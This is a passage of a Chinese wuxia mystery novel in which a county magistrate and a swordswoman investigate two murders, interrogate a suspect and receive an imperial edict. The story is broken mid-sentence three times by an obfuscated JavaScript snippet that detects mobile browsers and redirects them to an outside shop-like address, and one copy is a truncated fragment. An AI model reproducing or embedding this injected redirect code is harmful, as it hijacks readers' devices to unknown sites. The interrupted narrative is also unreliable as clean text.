他不明白自己是什么心理,便吸了口气盖下纷乱的心绪,点点头,转身问秦樊:“吴耳呢?吴耳身上可有和宋县丞一样的气味?” 秦樊揖道:“县令容禀,并没有,是以,这个案子,小的也不知该如何了,若论伤口,这凶手就是同一人,可,这身上的气味又对不上。” 敛尸房陷入一片静默,许是觉得对不起自己的职责,秦樊犹豫着,说出一个假设:“或许,是凶手净了身?盖住了身上的气味也犹未可知。” 花醉州哼笑一声:“你以为焕灵散是澡豆子啊,它的气味没那么容易掩盖住的,不然宋县丞都死了这么久了,你怎么还是能闻到。” 此话一出,秦樊尴尬的挠挠头,其实他也知道自己说的话实在扯淡。 肖寻岳眉头紧锁,这案子还真是玄乎,就像鬼打墙一样,查来查去,竟连凶手究竟有几人都不知了。 花醉州适时出声,起身拉着他的衣袖:“肖子商,你跟我出来。” 关上了门,里面的气味小些,花醉州这才觉得脑子稍清醒些:“曲择家里的后山上,有一个无字土坟,应该是衣冠冢,你现在派人去找一定能找到。” “你还去后山了?” “我是跟着曲择去的,没想到,却发现他是在祭拜,”花醉州顿了顿,说:“曲择母亲患有心疾,为了有钱治病,他就杀了宋县丞,所以,是有人花钱雇凶。” 肖寻岳虽然有所猜测,但真正听到,还是觉得不可置信:“他怎么……” “还有,昨晚他只祭拜了宋县丞,没有祭拜吴耳,莫非,这并不是什么连环案。” 还没等他彻底消化这消息,一边的墙根突然响起一道细弱的吸鼻子声。 “谁!”花醉州拔出匕首,差点就要扔出去,却见那高高的杂草后伸出一双手扒拉着,露出一个狗洞,下面趴着一个满脸灰尘的小孩,眼下挂着两条泪痕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449768|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肖寻岳一听见那边的动静,赶忙拦着花醉州的手:“别!” 那小孩看见白花花的刃,眼里有惊恐,但更多的是难过。 “阿良,你怎么来了。” 肖寻岳压下花醉州的匕首,走过去蹲在小孩面前,掐着他的腋下把人带出来,然后掏出一枚白手帕,仔仔细细给他擦着脸:“来,跟肖大兄说说,怎么好好的来县衙了?” 阿良不住的往肖寻岳怀里缩着,就差把整个人都藏他怀里,声音细若蚊蝇:“大兄,我和小妹听说,宋阿伯死了……” 还没说完,便咧着嘴又要哭。 花醉州站在一旁,跟不上状况:“这是……?” 肖寻岳看她一眼,把帕子塞到他手里,拍拍阿良的脊背,给他顺着气:“阿良,你乖乖的,还去老地方等我好不好?兄长和这位阿姊有话要说。” 阿良点点头,看着是个乖巧讨喜的小孩:“好。” 待人走远,肖寻岳叹了口气,神情带着些回忆:“阿良这名字,还是宋县丞给起的。” “宋县丞?” 肖寻岳浅笑着,点点头:“嗯,三年前的冬夜,阿良只有五岁,他的妹妹也尚在襁褓之中,两个小孩就这样被人遗弃在城北的城隍庙里,后来,还是村民发现了这俩可怜的孩子,便上报给了县衙。 “那时我还没上任,听人说,这县令是个自私的,不愿多管闲事,一心只有自己的仕途,天天忙着巴结权贵,宋县丞看孩子实在可怜,就取了名字,给了些吃食。 “原本想养在衙内,日后做个衙差也行,但阿良和宋县丞说,他们兄妹二人,能受县丞大恩,已是感激不尽,不能再麻烦他。 “于是百姓们就自发的给他俩找了个废弃宅子,兄妹俩就一直住在那里了,宋县丞只有一个独女,五年前又入了宫,一个人孤苦伶仃的,阿良就时不时从狗洞里钻进来,陪在宋县丞身边。 “宋县丞当时问他,你为什么不走大门,反而一直钻狗洞呢,他说,宋县丞是贵人,他只是个小乞儿,不能因为他的身份让外人笑话宋县丞。” 闻言,花醉州不由看向阿良离开的方向,有些心疼,也有些不可置信:“这么小的年纪能说出这样的话,这孩子,真是早慧。” “久而久之,县衙里大多人,都知道这对兄妹了,阿良伶俐,性子也外放,大家也都明里暗里的帮衬着他俩,曲择之前给过他两个馒头,从那之后阿良就一直唤他曲叔。” 阿良的故事就这样讲完了。 不是什么惊心动魄的事迹,但花醉州听的心里闷闷的,久未言语,半晌,说道:“如此说来。” 就像昨日那麻子和龅牙跟她说的:“宋县丞,还真是个好人,阿良,也是个有骨气的好孩子。” “是啊,宋县丞,是个真君子,自从曲择他娘得了病,他哪怕自己省吃俭用,也要给曲择塞几个铜板,所以你说,曲择真的动手了的时候,我不敢相信,也替宋县丞不值。” 肖寻岳低着头,继续说道:“这曲择是个孝子,十里八乡都有名的,若贴布告示,只怕有很多人都不相信吧。” “难道只是因为他有孝心,便要抵消他所做的一切恶吗?”花醉州不自觉握紧刀柄,蹙眉看向他。 肖寻岳拢拢袖,点头表示赞同:“有些人作的恶,一辈子也无法抵消,他明知别人是付出了何种代价来承受你的恶,却还是要做,怎能因为一句有苦衷,就避而不视。” “譬如宋县丞,他付出的是命。” 风起无言,两人心里像是装了十斤铁石。 花醉州长舒一口气,拍拍他的肩膀:“事已至此,早日抓到真凶才能为逝者报仇,你也不必,过于缅怀。” 她不过是个在这里歇脚几天的过路人,听到这样的事尚且难过,对于肖寻岳这样和宋县丞朝夕相处的人,还不知心里会感慨几何。 肖寻岳负手而立,看着那个小小的狗洞,不知道在想什么。 花醉州见他不说话,伸出手指戳了戳他胳膊:“你还好吗?” 肖寻岳转头看向她,点点头,笑着安抚道:“我没事。” 花醉州看着他的神情,有落寞,有惊喜,很复杂的感情,她说不清道不明,便转移了话题:“那这案子,你打算怎么办?” 肖寻岳默了默:“我会派人去一趟曲家,至于现在,你先随我去见一个人吧。” 花醉州有些诧异:“谁啊?” “赵合,你见过的,在客栈。” 15. 赵合 “就是那个污蔑我的补丁男!” 花醉州气的牙痒,她正愁没时间去找他问个清楚呢。 肖寻岳点点头:“他是吴耳的邻居,吴耳前天夜里死在家中,我便命人把赵合押来问话,可那赵合疯疯癫癫,满嘴胡话,不知是真疯还是假疯。” “这案子究竟是不是连环案,还得撬开赵合的嘴。” 花醉州笑的狡黠,肖寻岳直觉她在憋什么坏。 “这你可找对人了,你就是太注重书上那一套‘为官之道’,对付赵合这种地痞流氓,还是我在行。” “管他真疯假疯,山人自有妙计。” * 花醉州跟着肖寻岳又进了一趟牢狱,才发现这大狱竟修的如此深,越往后,气味也越难闻,空气中弥漫着饭菜的馊味和腐肉的臭味,就连狱门都不尽相同,前面还是栅栏式的门,到后面就严实的就只剩下一个长宽皆不足一尺的小窗。 偶尔还有几个囚犯当啷跑过来,满是污垢和血痂的脸怼在窗上大叫着“县令饶命”,声音凄厉又沙哑。 花醉州走的直犯恶心,前面那人却闲庭信步,不知道的还以为在逛什么风亭月榭。 “到了。” 肖寻岳眼神示意,一旁的衙差立刻麻溜开了锁,却还有一条铁索拴着门,留下一道小的可怜的门缝,只能伸出一条胳膊。 蹲坐在里面的人头发糟乱,脸上满是灰,都快和黑暗融为一体了,赵合一听见响动,把头埋在臂弯里,身子往角落里使劲儿缩了缩,没敢看门缝外的人。 “这位大哥,”花醉州对着刚刚开门的衙差说道:“你把铁索也解开,我要进去。” 门“吱呀吱呀”的开了,花醉州踩在干草上,沙沙地响,她一步步缓缓朝赵合走近,蹲下身,平视着赵合,微微俯身在他耳边说:“还记得我吗?” 赵合抬起头,从头发丝之间看她一眼,这一看,赵合却愣了一下,又赶紧低头,嘴里呢喃着“南无阿弥陀佛”。 花醉州嗤笑一声:“哎,你当时为什么污蔑我啊?谁指使的你?” 赵合咧着嘴,继续念叨着“南无阿弥陀佛”,夹杂着几声“不知道”。 花醉州见他装傻装的浑然天成,装作遗憾的样子摊开手,朝门外的肖寻岳说:“肖县令,看样子,这赵合是得了癔症啊。” 肖寻岳愣了愣,立马上道,跟着她一起装:“娘子,那这病可能治?” 她装模作样叹了口气,摇摇头:“哎,不好说,我也只能用我家乡的秘方试试了。” 说罢,花醉州转过头,缓缓拔出她腰间那把剖心,白光一闪,出鞘的呲喇声让人觉着磨耳。 花醉州掂着匕首,在赵合眼前比划着:“在我们家乡,对你这种癔症也算是颇有研究。 “要想治好,很简单,只需先把人倒立起来,再用匕首在两边脸颊上划个十字,让体内风邪毒血流出,最后用铁钉封住头顶百会穴,防止气血外涌,这样,癔症就治好了。赵合,你别怕,我现在就给你治病!” 说完,还朝着那衙差喊了一声:“大哥!帮个忙!” 她语气带着几分认真,说的像是确有其事一般,门外站着的衙差也被唬住了,迟疑着却又不敢问,眼神发问,这,这能行吗?怎么听着这么不靠谱啊? 花醉州剜他一眼,赏他一个眼刀:“走快点。” 角落里的赵合嘴唇哆嗦个不停,慌忙抱住花醉州的腿,被吓得口齿不清,语无伦次:“女侠饶命,女侠饶命,我,我,癔症,没有不是,没有,不用治疗,没有,这癔症……” 他被吓怕了,已经不会说话了,只呆滞地重复着“不是”“没有”。 花醉州眼神示意衙差把人擒拿,一边说:“哎呀,怎么说话这般颠三倒四,定是癔症加重了!事不宜迟,快快快,人命关天啊!” 话刚落,衙差冲上来押住赵合,作势要把人倒立起来。 赵合吓得竟直接哭了出来,空气里还隐隐有股臭味:“女侠我再也不敢了!女侠就饶了我这一次吧!” 肖寻岳看着牢房里的一出好戏,不由笑出了声,果然,对付这种人,还是她在行。 “哟,认得我了?”花醉州蹲下身,用匕首挑起他的下巴,问道。 “认得了认得了!” “那你说说看,是谁指使你污蔑我的。” “……没人指使我!就是我亲眼看见的!”赵合咽了咽口水,眼神慌乱一刻,却又犟道。 “亲眼看见?那我是什么时辰抛的尸?这你总知道吧?” “是,是,我不知道!反正我早上去买酒,正好瞧见!” “早上去买酒?所以,是你杀了吴耳。” 语气笃定,叫人不敢辩驳。 赵合一听,眼神清明一瞬,反应极其激烈,把人猛地一推,头摇的像拨浪鼓:“没有!我没有杀他!” 花醉州敏捷闪躲起了身:“没有杀人?那昨日县令问你吴耳的事时,你为何装疯卖傻?还是说故意不回答县令的问话?赵合,你胆子挺大啊。”花醉州轻抛匕首,一边把玩一边漫不经心的问。 这是在给他下套,赵合赶忙朝肖寻岳的方向跪下磕了三个头:“县令明察!草民,草民当时是真的被吓到了,这才说话神神叨叨的,但绝对没有欺瞒县令的意思啊!” 肖寻岳掌着烛火走进来,牢里瞬间亮堂几分。 “既无意欺瞒,那你现在就好好说说看,吴耳是怎么死的,你不是早上才去买的酒吗?那晚上的事,你应该很清楚吧。” “不是不是,我,我说错了!我是晚上去买的酒!” “晚上?”肖寻岳反问道,“晚上去买酒,你犯宵禁了啊,依律杖五十,另外,赵合,我很好奇哪一家酒肆会在晚上给你卖酒。” “不不不!”赵合这才反应过来自己又说漏嘴了,瞟了肖寻岳一眼,又瞟了花醉州一眼,然后做贼似的垂下头,“……当时,我,我只听到了一声惨叫,等我赶过去的时候,凶手已经跳窗跑了……” 语气极其心虚,肖寻岳叹气,蹲了下来:“说实话,我饶你一命,要不然我现在立马把你定罪。” 赵合心里一下子慌张,往前爬了几步揪着肖寻岳的衣袖:“县令,我怕被杀人灭口啊!我不能说,我不能说……” 杀人灭口?所以吴耳是因为撞见了什么被凶手灭了口? 这般想着,肖寻岳就问了出来。 赵合一哆嗦,又缩成了个鹌鹑:“没有没有,不是的,纯粹是他自找的……” 问了半天,什么有用信息都没问出来,花醉州心下恼火,威胁道:“看起来这癔症还是得治。” 赵合转而揪上花醉州的袍角:“女侠,你饶了我吧!之前抢您的包裹是我和吴耳的不是,您大人不记小人过,吴耳现在已经死了,您就饶了我吧!” 说完,也不管两人什么反应,赵合直接开始掌掴自己,一下接一下,用了十足的力。 “你在说什么?”花醉州紧皱眉头,脑子里像是想到了什么,一把拿过肖寻岳手里的烛台,薅住赵合后颈不让他躲,然后撩开他脸前的头发,细细打量着。 “是你!” 花醉州不敢相信,那日的赵合满脸胡子,只能依稀根据眼睛判断大概是他,那那个死了的吴耳,就是抢她包裹的跛子! “你易容了?”花醉州问。 “吴耳给我剃面了。” “……” 肖寻岳有些摸不清情况,只知道花醉州现在非常生气,便轻轻拍了拍她的胳膊,示意她先等等,问着赵合:“你刚刚说的话,是何意?只要你说清楚,我会保你周全。” 赵合顿了顿,说:“前日午后,我和吴耳打算去市集……偷,偷些钱,吴耳看这位女侠包裹多,便想着她定是个有钱人,就,就去抢了女侠的包裹,没想到还没到手,就被女侠给捉住了。” “我们兄弟二人磕着头,蒙骗女侠说有八十老母要奉养,女侠心善,给了我们一锭银子,当时我还高兴,因为这次蒙骗得的钱,比以往我们抢的任何一次都多。” 赵合语气委屈:“我一高兴,就想吃酒,但吴耳腿瘸,喝酒腿会疼,所以我就自己去买了酒喝,结果,结果晚上刚回家,就听见吴耳的惨叫,实在太凄惨了!我只敢悄悄的往外瞧,等完全安静下来,我出来一看,人已经断气儿了,所,所以我说,他死了也是自找的……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449769|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我实在太害怕了,就一大早去西市买酒,结果,结果刚好瞧见……” 他没说完,但是两个人都知道他在说“抛尸”。 赵合说的断断续续,花醉州瞪大眼睛,先是不可置信,沉默好一会儿,又实在咽不下这口气,匕首习惯性的在手里转了一圈就要刺向他的肩膀:“你什么意思!吴耳之死和县丞之死都扣我头上!谁指使你这么说的!” 赵合被吓得跌坐在地上,往后连连退去,大气不敢出,躲在肖寻岳身后。 肖寻岳慌忙拉住她:“阿醒,你先冷静!审讯期间不可动用私刑!” 花醉州气得转头看他,这算什么事?问了半天,非但凶手又成她了,还不能泄她心头之火? “这是你们官家人的规矩,管不了我这江湖中人。” “可你日后是要武举的啊!” 花醉州的手一顿,看向他:“那不是还没开始吗。” 她想泄愤,那他就当做没看见就好了。 但这想法刚冒出头,肖寻岳就猛的后退半步,拉住她小臂的手也慢慢松开,垂在身侧。 这是错的,他不明白自己为什么会有这样枉顾律例的念头,一时间不禁有些晃神。 赵合看肖寻岳松了手,只觉得自己小命不保,但他人又怂,被这场面吓的魂魄绕着县衙飞了三周,腿软的站不起来,抱着头大气不敢出。 花醉州站在他旁边,深吸一口气然后缓缓吐出,反手把匕首插了回去,用鞘尖狠狠抵在他胸口正中突出的骨头上。 她动作极快,赵合突然被戳到嶙峋的骨头上,刺痛酸胀一起袭来,疼的他连连喘气。 “说,有没有人指使你。” 虽说用的是刀鞘,但和刀尖刺入的痛根本没区别,唯一的区别就是没有流血罢了,赵合痛苦的摇摇头,看他吃了苦头,花醉州才放开他。 肖寻岳完全没想到她会收起匕首,他的心乱糟糟的,悄悄做了个深呼吸,配合着说:“赵合,没有根据的推测不能成立。” “不,不,县令,我当时看到了那凶手的残影,和女,女侠的装束一模一样!” 像是为了证明自己不是胡诌,赵合又接着说:“哦对了,那人背上右肩处有绣的东西,应该是蛇,身形,身形也差不多。” 花醉州穿的虽是款式普通的缺骻袍,可布料却不便宜,是从蜀中来的云中锦,而且那后背上螣蛇的纹饰,是她师娘亲手给绣的。 远行之人,螣蛇绣之,化险为夷,可保平安。 但在牢里,她从未把后背面对赵合,且牢里幽暗,根本看不清衣袍纹饰。 那这赵合怎么会知道,只有一种可能,就是凶手穿的衣服,和她一样。 真是下的好大一盘棋,前有玉佩,后有衣裳,为了对付她,这人还真是又费心又费钱。 赵合甫一说完,又恢复了那副怂样子,肖寻岳没什么心情管他,吩咐衙差:“好生看管。” 然后便拽着花醉州出了牢房。 她现在看起来不怎么好。 牢里不见天日,日头有些刺眼,肖寻岳侧着走在她前面,抬手挡了下阳光,看天色,再过一个时辰就到晌午了。 花醉州还魂不守舍的,满脑子搜寻着闻家的仇人,但都一一被她排除。 肖寻岳转过身,看着她的脸:“你还好吗?” 他刚说出来,就觉得熟悉。 真是…… 这句话,刚刚还是在敛尸房门口,她说出来问他的。 花醉州没说话,她原本觉得,知道是曲择杀了宋县丞之后,这案子很快就能水落石出了,没想到又在赵合这里给她一击。 “我没事,”花醉州唇角勾起一抹冷笑,“不就是想害我吗,虽然我不知道害我的意图,但我一定奉陪到底。” 肖寻岳神情严肃,说道:“也许,不只是害你这么简单。” “什么意思。” “吴耳虽说是个偷子,但毕竟也是一条人命,杀人偿命,天经地义,所以背后这个人,一开始就是抱着让你死的决心在布局的。” “宋县丞加上吴耳,两条人命一背,若再有什么证据佐证,你必死无疑。” 16. 圣旨 他这话一下子点醒了她。 是啊,杀人得偿命,经此一遭,这幕后之人的目的已经明了,就是想置她于死地,虽然她并不明白为什么要这样对她。 “所以现在,最重要的是以防后手。” 肖寻岳蹙眉思索着对策,突然听到花醉州问:“……山下的世界,就是这样的吗?” 她垂着头,语气失落。 之前长老们和她说过,山下的人个个都有八百个心眼,稍有不慎就可能着了他们的道,她当时不以为意,只觉得自己有武力傍身,谁敢招惹她。 现在看来,或许她和师傅都错了,那些长老是对的,下山没什么好处,反倒是处处被人冤枉惨了。 “……”肖寻岳张张嘴,却不知道该说些什么,因为这里的世界,就是凶险的,尔虞我诈的,但她既然要武举,日后经历的,只会比这更多。 “肖寻岳,那你呢,你相信我吗?”她看向肖寻岳,脸上没有表情。 肖寻岳一愣:“什么?” “你信我没有杀人吗?” 他不知道她为什么会这么问,只莫名觉得她现在需要肯定和安抚:“如果我不相信你,就不会带你来审问赵合。” 花醉州一眨不眨看着他的眼睛,那双眼睛背着光,却清透得像水,没有杂质:“为什么?” 为什么这么相信她。 “因为你不敢杀人。” 肖寻岳眼神坚定,一句一顿:“不管是昨晚的黑衣人,还是今天的赵合,你从未想过要他们的命,从始至终,你只是想得到一个真相。” 得到真相?可是现在不还是在不停的原地打转吗。 说完,他像是陷入了什么回忆:“你见过真正的将军吗?” 花醉州想了想,摇摇头。 她师傅虽然武艺超群,但并不是将军,唯一算得上是将军的,上过战场的,就是大师兄了,只可惜第一仗便战死沙场。 肖寻岳说:“我见过,上到将军,下到兵卒,我都见过,他们身上有常人没有的肃杀血气,都是在战场上一次次挥刀之后留在身上的印记,但你没有。” 花醉州蹙了蹙眉:“可是,一定要杀过人,才能当将军吗?” 肖寻岳被她这话逗笑了,觉得她关注的角度实在清奇,抬起手想摸摸她的头,抬起一半才惊觉不合适,手僵在半空硬生生放下来。 “不,我的意思是说,我相信你。” 肖寻岳微微俯下身,直视着她:“你说过,我们两个是一伙的,所以,不管幕后之人是谁,我都会和你一起找出来。” 花醉州看着他那宛如秋水的眼睛,顿了几息,他这样的人,应该不会骗人吧? 她深吸一口气,将心里的郁结吐出,然后伸出手,拍在肖寻岳肩膀上,说道:“子商兄,那就请你帮我个忙吧。” “啊?” 她笑容淡漠:“明日一早,你就张贴告示,说先前在客栈缉拿的女嫌犯已查清无罪,现已释放,那人不是想让我死吗,我就偏不顺他的意,这样一来,他准会狗急跳墙,只要他有所行动,我们就一定能抓住把柄。” 肖寻岳直觉不好,劝道:“你不要以身涉险!” “放心,做个戏而已,我自己的命,我有分寸。” 肖寻岳还想劝她别做傻事,就见一个衙差气喘吁吁跑来,指着前厅的方向说:“县令,宫里来贵人了,自称是冯内侍,说要见您。” “那贵人还说,要见见您抓的那个女嫌犯。” 女嫌犯?是想要见她?花醉州问道:“宫里怎么会来人?” 肖寻岳:“我猜,应该是为了宋县丞的事,他有一个女儿,如今在宫里当婕妤,颇得圣宠,所以皇上派人来问也不奇怪,只是我没想到,此事居然传的这么快。” 短短一日,便能从曲塘传到京城,若说没有预谋,他是绝对不信的。 * 曲塘县富裕,是以县衙修的也大,三进三出的院落,种了好些花草树木,还有两处小池塘,夏日种下的荷花已经枯萎,唯有水还清澈如旧。 路边种的树杂,花零零落落开着几朵,倒有些别致萧索的美,平日里若是绕县衙一周,看着这些景,也不觉路远,可此时肖寻岳只希望县衙再小些。 “肖县令,可让某好等啊。”说话的人坐在前厅内,嗓音尖细,难听至极,圆滚滚的身材包裹着紫色的官服,撑得像个球。 旁边站着一个端着盒子的人,低眉顺眼,带着面巾,看不清脸,但花醉州瞧着总是觉得在哪见过。 他身后跟着两长溜白衣侍从,花醉州心里冷嗤,身份不大,架势不小。 肖寻岳朝他点点头:“不知冯内侍大驾光临,肖某有失远迎,实乃失职。” “这就是那个内侍?”花醉州跟在肖寻岳身后,揪了揪他的衣袖,低声问道。 “对,他是圣上身边的红人,名唤冯知福,入宫已有三十载,深得圣心。” 哦,原来是冯知福,花醉州打量着这位冯内侍,她听师父提起过,说此人老奸巨猾、油腔滑调、巧言令色,不是什么好东西,但偏偏得圣宠。 这般看来,师傅所言倒是不假。 冯内侍神色自如,端着茶杯,借着喝水的功夫,悄悄瞟了一眼花醉州,这就是那位传闻中的闻家弟子? 只粗看一眼,他收回目光继续说道:“县令莫要这般拘束,某也并非不讲情面之人,来的路上听了些风言风语,自是知晓县令的难处。” 这话说的意味深长,叫人不得不多想。 “不过,县令抓的那个女嫌犯呢?”他装模作样的扫视着外边站着的衙差,也不知在想些什么。 肖寻岳笑了笑,把花醉州从旁边拉过来稍往前推了推:“内侍,她便是,不过现在已经查清了,都是误会,她也是被人冤枉的。” 冯知福那双绿豆眼转了转,瞧着俩人,被冤枉的?可据昨日来的消息,花醉州明明已经被打入牢狱了,这怎么反而说无罪了?莫非这肖寻岳已经发现了什么端倪? “这……肖县令是真查明了?此女确实无辜?” 肖寻岳微微挑眉,似乎是好奇他为什么会这么问。 冯知福扯出笑,继续说:“哦,毕竟是给圣上办事儿的,什么情况也得问问清楚。” 肖寻岳点点头,表示理解:“她确实无辜。” 这下冯知福虽心急,但也不好再问,绿豆眼眨了眨,只得压下心底的疑问,点点头,起了身,身后那面巾男上前一步,弓着腰递出手里的盒子,一阵风过,帷帽被掀起一角,花醉州瞳孔猛的一缩,他脖子上,好像有一道细小的血痂! 难道是他! 如果昨晚的黑衣人是跟在冯知福身后的侍从,那么,真凶到底是冯知福,还是京城里的那位。 冯知福全然不知花醉州心里在想什么,打开那人手里的盒子,取出一封卷轴说“敕旨到。” “你二人,还不快快接旨!”知福拿过一旁呈上的明黄卷轴,端起范抖了抖卷轴,高声道。 这圣旨来的突然,两人愣了愣,赶忙跪下,伸出双手做接旨状。 冯知福的脸色这才稍稍缓和,撑开敕旨,捏着嗓子宣旨:“门下:曲塘县丞宋津臣,克己奉公,德才兼备,任职期间曲塘政通人和,百业兴旺,然今却惨死,天不假年,朕深表涕零,特命曲塘县令肖寻岳三日之内,查明此案,缉拿真凶,以安民心!主者施行。永嘉十一年,六月乙酉。” “县令,接旨吧。”知福挪着步子,把敕旨放在肖寻岳手心,临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449770|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了还轻捏了两下他的小指。 “下官接旨!”肖寻岳看着手里的敕旨,心里直打鼓,这冯内侍临走为何要捏两下他的尾指,是何用意? “敕旨既已送到,某便先行离开,回宫复命了。”知福说完,也不等人回答,转身带着一众宦官准备离开。 “恭送冯内侍。” 不行!还不能走。 她还没确定冯知福身边的人到底是不是那个黑衣人。 花醉州摸出一枚铜钱,手腕微动,打在那人膝弯,他反应倒是快,只不过花醉州的铜钱比他更快。 来不及闪躲,那人膝弯一软就要跪在地上。 花醉州瞅准时机冲上去,扶着他的胳膊:“哎呀贵人!你的腿没事吧!” 说着便要按向他的小腿,他今日穿了一身白,只要这条腿有血溢出,那就一定是他。 那人伸出手,拦住她的动作,嗓音暗哑,像是被人用刀划过了喉管:“无事。” 他想躲开,花醉州怎能如他意,顺势把手抽出,一股掌风打向他的帷帽,差点掉下来,那人迅速伸出手压在头上,宽大的袖袍将脸和脖子挡的严严实实。 这么慌张?绝对有猫腻,花醉州不动声色,后退半步:“贵人无事便好。” 冯知福听到身后的动静,回头瞪了那人一眼,真是个废物,平路还能摔一跤,他甩甩袖子,哼了一声,大步流星出了县衙。 肖寻岳上前站到花醉州身边,看着那一长队人离开的方向:“怎么,发现什么了?” 花醉州抱着胳膊,看到那片消失在拐角的衣角,笑了笑:“肖子商,关于昨晚的黑衣人,我有一个大胆的猜测。” 肖寻岳眯着眼:“阿醒是说,冯知福身边那个侍从?” “聪明!我猜那个黑衣人,就是他。” 花醉州转过身,问道:“你知道他的身份吗?” “他是冯知福的义子,其他的,我也不知道了。” 信息这么少,这么说来,还是个神秘的人,花醉州点点头,没再问。 转而用下巴指了指那份敕旨:“只是,三天时间,会不会太短了。” 肖寻岳垂眼看向那抹明黄色,神情坚定:“圣上既说,三日结案,那就必须结案。” “肖寻岳,你明知道我担心的不是这个,和田玉,云中锦,哪一样是普通人家能弄到的,这位义子,不过是个帮凶。” 他们两个都心知肚明,这个案子不简单,如果真的只是冯知福,那还好说,就怕……涉及到的是皇族勋贵。 他本以为,这次宫里派人来只是问问,没想到居然下了圣旨,倒是比他想的更为棘手。 肖寻岳的手掩在身后,不住摩挲着刚刚被捏了两下的小指:“你先别担心,还有一个人我们没有问呢。” “你是说曲择。” “嗯,希望能从他嘴里撬出些什么,也许这案子还能有些转机,走吧,现在这个点,杜弋应该已经在带着人回来的路上了。” 花醉州站在原地,看着他的背影,不知道是不是因为这两天经历的事太多了,她现在总是忍不住多想。 肖寻岳回过头,问道:“怎么了?” 她迟疑一瞬,斟酌着该怎么说:“我在想,如果查到最后,发现凶手是你动不了的大人物,你会怎么做,是以卵击石,还是就此妥协。” 肖寻岳愣在原地,他还真没想过,但他既然决定查,那就终究要面对这个问题,如果以卵击石,下场必然是他死,可能还会死的很惨烈;但如果他选择妥协,或许还能往上升个一官半职。 听起来,选择妥协的话,似乎还不错。 “这个问题,我刚刚好像回答过你。” 他笑笑:“杀人偿命,天经地义。” 17. 心疾 听到他的回答,花醉州笑了笑,是啊,这个最简单的道理,她在担心什么。 “走吧!陪你去审问曲择。”花醉州拍了一把他的背,直把人拍的往前酿跄,这才意识到劲儿使大了。 花醉州挠挠头:“抱歉啊……” 肖寻岳摇摇头,这算什么,她打的还没父亲疼呢:“无妨,不疼,走吧,我带你去二堂等……” 他还没说完,一个小衙差就从大门跑过来,气都喘不匀,喊道:“县令!杜县尉回来了!” 肖寻岳看着杜弋的身影一点点在门口被补全,笑道:“还真是巧。” 杜弋远远的看见两人,就拱手行了礼:“县令,正如这位娘子所说,曲家后山的确有一个无字土坟,在里面,找到了这个。” 他伸出手,打开手里那张纯白手帕,里面躺着一枚长圆形温润玉佩,最重要的是,在它的背面,有一道磕痕。 “走,去二堂。” 这二堂虽说是审讯犯人的,其实和后堂厢房没什么区别,只不过少了张榻,多了几件刑具。 曲择被杜弋绑着,跪在正中,面对着那张槐木桌子,嘴里塞着布,说不出话,只能干瞪眼。 肖寻岳看都没看他一眼,跨步迈过门槛,经过他时衣袍带起一阵风,冷嗖嗖的,像阴风。 “哟,这不是曲班头吗?怎的跪在此处啊?” 花醉州一把把他嘴里的布薅了出来,然后拉过一旁的椅子,坐在曲择对面。 那布塞的深,还有一股泔水味,猛的被拽出,胃里只剩恶心,曲择撑着地面,低头干呕几声,没有回答花醉州的问题。 “曲择,你母亲的病如何了?”肖寻岳端坐上方,屏风立在门侧,挡住了一半大好的阳光,也挡住了他左半侧脸。 曲择重新跪好,屁股落在脚上,笑道:“谢县令关心,已经快好了。” “这么说来,那位江湖游医,医术确实了得啊,我这边也有一位伤者,不知曲快班能否引荐?”肖寻岳取了一张纸,不知道在写什么。 曲择现在有些懵,他不明白,既然已经把他带来审问了,为什么都问的是这些无关紧要的问题,难道,他还没有暴露? 想到这里,曲择心里倒是没有之前那般慌张:“哎呦县令,折煞小人了!这江湖游医,多少都有些怪异,他当时给小人留了个方子就走了,小人现在实在找不到人。” “这样,那还真是可惜,不过,你既找不到人,那就给些铜钱当作补偿吧。”肖寻岳放下笔,盯着跪在下面的人。 这,怎么跟他要钱,县令比他还穷了吗? 花醉州看他满脸的困惑,往前倾了倾身,满脸同情:“是啊,毕竟,这伤者可是在你曲家被人打伤的呢。” 她说的是周平。 “这我是真没钱了啊!县令!”曲择磕了个头,他的钱全都拿去抓药了,他现在吃饭都困难,何谈补偿。 “不对,等等,”曲择磕头的动作一顿,这才反应过来,“你说什么?在曲家?” 花醉州托着下巴:“嗯。” 她回答的肯定,肖寻岳也没有说话,莫非,昨晚那个刺客是县令的人?这是知道了多少?曲择一面想着对策一面安慰自己,别慌别慌,说不定只是试探他呢。 “不是,县令,肯定是有什么误会,昨晚我早早就睡了,没有什么人来我家,况且,县令您也知道我这功夫,能打伤谁啊……” “既然是误会,那后山那个土包,是你给谁挖的坟?”肖寻岳没有管他的狡辩,打断他问道。 后山?!他怎么会知道! 曲择咽了咽口水,那明明是个无字碑…… 